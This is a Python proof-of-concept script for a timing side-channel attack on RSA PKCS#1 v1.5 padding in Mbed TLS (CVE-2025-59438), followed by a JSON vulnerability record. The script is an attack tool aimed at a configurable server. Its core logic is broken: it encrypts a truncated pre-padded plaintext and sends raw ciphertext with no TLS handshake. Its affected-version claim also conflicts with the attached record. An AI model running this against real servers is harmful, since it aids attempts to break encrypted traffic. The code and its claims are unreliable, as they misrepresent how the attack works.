CVE-2025-59438

# CVE-2025-59438 - Mbed TLS RSA PKCS#1 v1.5 Timing Side-Channel PoC # This PoC demonstrates a Bleichenbacher-style timing attack against Mbed TLS < 3.6.4 # to exploit Observable Timing Discrepancy in RSA PKCS#1 v1.5 padding validation. import socket import time import statistics from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 import os TARGET_HOST = "target.example.com" TARGET_PORT = 443 SAMPLES_PER_TEST = 5000 TIMING_THRESHOLD_NS = 50000 # 50 microseconds threshold to distinguish valid/invalid padding def generate_random_ciphertexts(public_key, count): """Generate random ciphertexts for timing measurement.""" ciphertexts = [] key_size = public_key.size_in_bytes() for _ in range(count): # Generate random plaintext that may or may not have valid PKCS#1 v1.5 padding plaintext = b'\x00\x02' + os.urandom(key_size - 2) cipher = PKCS1_v1_5.new(public_key) ct = cipher.encrypt(plaintext[:11]) # Only encrypt first 11 bytes (rest is padding) ciphertexts.append(ct) return ciphertexts def measure_timing(host, port, ciphertext): """Send ciphertext to target and measure response time.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((host, port)) # Send TLS handshake with our crafted RSA ciphertext start_time = time.time_ns() sock.send(ciphertext) response = sock.recv(4096) end_time = time.time_ns() return end_time - start_time except socket.timeout: return None finally: sock.close() def analyze_timings(timings): """Analyze timing measurements to detect padding oracle.""" valid_times = [t for t in timings if t is not None] if len(valid_times) < 100: return None mean = statistics.mean(valid_times) stdev = statistics.stdev(valid_times) # Detect outliers that indicate valid padding (longer processing time) outliers = [t for t in valid_times if t > mean + 2 * stdev] return { "mean_ns": mean, "stdev_ns": stdev, "outlier_count": len(outliers), "outlier_ratio": len(outliers) / len(valid_times) } def exploit_timing_oracle(host, port, public_key): """Main exploit function for Bleichenbacher-style timing attack.""" print(f"[*] Starting timing attack against {host}:{port}") print(f"[*] Target RSA key size: {public_key.size_in_bits()} bits") ciphertexts = generate_random_ciphertexts(public_key, SAMPLES_PER_TEST) timings = [] for i, ct in enumerate(ciphertexts): t = measure_timing(host, port, ct) timings.append(t) if (i + 1) % 500 == 0: print(f"[*] Collected {i + 1}/{SAMPLES_PER_TEST} timing samples") result = analyze_timings(timings) if result and result['outlier_ratio'] > 0.01: print(f"[!] Timing oracle detected!") print(f" Mean: {result['mean_ns']} ns, StdDev: {result['stdev_ns']} ns") print(f" Outlier ratio: {result['outlier_ratio']:.4f}") print("[!] Vulnerability CVE-2025-59438 is exploitable on this target.") else: print("[-] No significant timing difference detected. Target may be patched.") if __name__ == "__main__": # Load target's RSA public key (e.g., from TLS certificate) # public_key = RSA.import_key(open("target_cert.pem").read()) # exploit_timing_oracle(TARGET_HOST, TARGET_PORT, public_key) print("[*] PoC for CVE-2025-59438 - Configure target and public key before running")

{"cve": {"id": "CVE-2025-59438", "sourceIdentifier": "[email protected]", "published": "2025-10-21T15:15:39.103", "lastModified": "2025-10-23T12:35:35.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mbed TLS through 3.6.4 has an Observable Timing Discrepancy."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.5", "matchCriteriaId": "D9DA7861-39B5-40B3-BF4F-6A79ED188844"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-10-invalid-padding-error/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}